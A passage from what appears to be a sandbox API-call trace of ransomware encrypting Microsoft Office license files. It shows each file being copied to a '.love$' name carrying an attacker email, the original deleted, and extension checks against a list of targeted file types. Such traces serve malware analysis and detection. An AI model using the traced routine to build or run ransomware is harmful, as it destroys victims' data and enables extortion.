lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0271.455] GetLastError () returned 0x0 [0271.455] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d60, lpOverlapped=0x0) returned 1 [0271.461] WriteFile (in: hFile=0x47c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d70, lpOverlapped=0x0) returned 1 [0271.463] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0271.463] WriteFile (in: hFile=0x47c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x118, lpOverlapped=0x0) returned 1 [0271.463] SetEndOfFile (hFile=0x47c) returned 1 [0271.463] CloseHandle (hObject=0x47c) returned 1 [0271.463] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.463] SetEndOfFile (hFile=0x534) returned 1 [0271.471] CloseHandle (hObject=0x534) returned 1 [0271.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 1 [0271.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.474] lstrlenW (lpString=".doc") returned 4 [0271.474] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.474] lstrlenW (lpString=".docx") returned 5 [0271.474] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.474] lstrlenW (lpString=".pdf") returned 4 [0271.474] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.474] lstrlenW (lpString=".xls") returned 4 [0271.474] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.474] lstrlenW (lpString=".xlsx") returned 5 [0271.474] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.474] lstrlenW (lpString=".ppt") returned 4 [0271.474] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.475] lstrlenW (lpString=".zip") returned 4 [0271.475] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.475] lstrlenW (lpString=".rar") returned 4 [0271.475] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.475] lstrlenW (lpString=".bz2") returned 4 [0271.475] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.475] lstrlenW (lpString=".7z") returned 3 [0271.475] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.475] lstrlenW (lpString=".dbf") returned 4 [0271.475] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.475] lstrlenW (lpString=".1cd") returned 4 [0271.475] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.475] lstrlenW (lpString=".jpg") returned 4 [0271.475] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.476] lstrlenW (lpString=".doc") returned 4 [0271.476] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.476] lstrlenW (lpString=".docx") returned 5 [0271.476] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.476] lstrlenW (lpString=".pdf") returned 4 [0271.476] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.476] lstrlenW (lpString=".xls") returned 4 [0271.476] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.476] lstrlenW (lpString=".xlsx") returned 5 [0271.476] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.476] lstrlenW (lpString=".ppt") returned 4 [0271.476] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.476] lstrlenW (lpString=".zip") returned 4 [0271.476] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.476] lstrlenW (lpString=".rar") returned 4 [0271.476] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.476] lstrlenW (lpString=".bz2") returned 4 [0271.476] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.476] lstrlenW (lpString=".7z") returned 3 [0271.476] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.476] lstrlenW (lpString=".dbf") returned 4 [0271.476] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.477] lstrlenW (lpString=".1cd") returned 4 [0271.477] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84 [0271.477] lstrlenW (lpString=".jpg") returned 4 [0271.477] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.477] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0271.477] lstrlenW (lpString="MondoR_SubTest-ppd.xrm-ms") returned 25 [0271.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0271.479] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=26524) returned 1 [0271.479] CloseHandle (hObject=0x534) returned 1 [0271.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 0x220 [0271.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0271.480] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.480] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0271.482] GetLastError () returned 0x0 [0271.482] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x679c, lpOverlapped=0x0) returned 1 [0271.493] WriteFile (in: hFile=0x47c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x67a0, lpOverlapped=0x0) returned 1 [0271.496] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0271.496] WriteFile (in: hFile=0x47c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x106, lpOverlapped=0x0) returned 1 [0271.496] SetEndOfFile (hFile=0x47c) returned 1 [0271.496] CloseHandle (hObject=0x47c) returned 1 [0271.497] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.497] SetEndOfFile (hFile=0x534) returned 1 [0272.274] CloseHandle (hObject=0x534) returned 1 [0272.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 1 [0272.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.277] lstrlenW (lpString=".doc") returned 4 [0272.277] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.277] lstrlenW (lpString=".docx") returned 5 [0272.277] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.277] lstrlenW (lpString=".pdf") returned 4 [0272.277] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.277] lstrlenW (lpString=".xls") returned 4 [0272.277] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.277] lstrlenW (lpString=".xlsx") returned 5 [0272.277] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.277] lstrlenW (lpString=".ppt") returned 4 [0272.277] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.277] lstrlenW (lpString=".zip") returned 4 [0272.277] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.277] lstrlenW (lpString=".rar") returned 4 [0272.278] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.278] lstrlenW (lpString=".bz2") returned 4 [0272.278] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.278] lstrlenW (lpString=".7z") returned 3 [0272.278] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.278] lstrlenW (lpString=".dbf") returned 4 [0272.278] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.278] lstrlenW (lpString=".1cd") returned 4 [0272.278] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.278] lstrlenW (lpString=".jpg") returned 4 [0272.278] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.278] lstrlenW (lpString=".doc") returned 4 [0272.278] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.278] lstrlenW (lpString=".docx") returned 5 [0272.278] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.278] lstrlenW (lpString=".pdf") returned 4 [0272.278] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.278] lstrlenW (lpString=".xls") returned 4 [0272.278] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.278] lstrlenW (lpString=".xlsx") returned 5 [0272.278] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.279] lstrlenW (lpString=".ppt") returned 4 [0272.279] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.279] lstrlenW (lpString=".zip") returned 4 [0272.279] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.279] lstrlenW (lpString=".rar") returned 4 [0272.279] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.279] lstrlenW (lpString=".bz2") returned 4 [0272.279] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.279] lstrlenW (lpString=".7z") returned 3 [0272.279] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.279] lstrlenW (lpString=".dbf") returned 4 [0272.279] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.279] lstrlenW (lpString=".1cd") returned 4 [0272.279] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0272.279] lstrlenW (lpString=".jpg") returned 4 [0272.279] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.280] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.280] lstrlenW (lpString="MondoR_SubTrial-pl.xrm-ms") returned 25 [0272.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0272.321] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11151) returned 1 [0272.321] CloseHandle (hObject=0x534) returned 1 [0272.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 0x220 [0272.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0272.322] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.322] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0272.324] GetLastError () returned 0x0 [0272.324] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2b8f, lpOverlapped=0x0) returned 1 [0272.326] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2b90, lpOverlapped=0x0) returned 1 [0272.328] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0272.328] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x106, lpOverlapped=0x0) returned 1 [0272.328] SetEndOfFile (hFile=0x4c8) returned 1 [0272.328] CloseHandle (hObject=0x4c8) returned 1 [0272.328] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.328] SetEndOfFile (hFile=0x534) returned 1 [0272.333] CloseHandle (hObject=0x534) returned 1 [0272.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 1 [0272.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.336] lstrlenW (lpString=".doc") returned 4 [0272.336] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.336] lstrlenW (lpString=".docx") returned 5 [0272.336] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.336] lstrlenW (lpString=".pdf") returned 4 [0272.336] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.336] lstrlenW (lpString=".xls") returned 4 [0272.336] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.336] lstrlenW (lpString=".xlsx") returned 5 [0272.336] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.336] lstrlenW (lpString=".ppt") returned 4 [0272.336] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.336] lstrlenW (lpString=".zip") returned 4 [0272.336] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.336] lstrlenW (lpString=".rar") returned 4 [0272.336] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.336] lstrlenW (lpString=".bz2") returned 4 [0272.336] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.336] lstrlenW (lpString=".7z") returned 3 [0272.336] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.337] lstrlenW (lpString=".dbf") returned 4 [0272.337] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.337] lstrlenW (lpString=".1cd") returned 4 [0272.337] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.337] lstrlenW (lpString=".jpg") returned 4 [0272.337] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.337] lstrlenW (lpString=".doc") returned 4 [0272.337] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0272.337] lstrlenW (lpString=".docx") returned 5 [0272.337] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0272.337] lstrlenW (lpString=".pdf") returned 4 [0272.337] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0272.337] lstrlenW (lpString=".xls") returned 4 [0272.337] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0272.337] lstrlenW (lpString=".xlsx") returned 5 [0272.337] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0272.337] lstrlenW (lpString=".ppt") returned 4 [0272.337] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0272.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.338] lstrlenW (lpString=".zip") returned 4 [0272.338] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0272.338] lstrlenW (lpString=".rar") returned 4 [0272.338] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0272.338] lstrlenW (lpString=".bz2") returned 4 [0272.338] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0272.338] lstrlenW (lpString=".7z") returned 3 [0272.338] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0272.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.338] lstrlenW (lpString=".dbf") returned 4 [0272.338] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0272.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.338] lstrlenW (lpString=".1cd") returned 4 [0272.338] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0272.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0272.338] lstrlenW (lpString=".jpg") returned 4 [0272.338] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0272.338] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0272.338] lstrlenW (lpString="MondoR_SubTrial2-pl.xrm-ms") returned 26 [0272.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0272.340] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11155) returned 1 [0272.340] CloseHandle (hObject=0x534) returned 1 [0272.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms")) returned 0x220 [0272.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0272.341] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.341] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 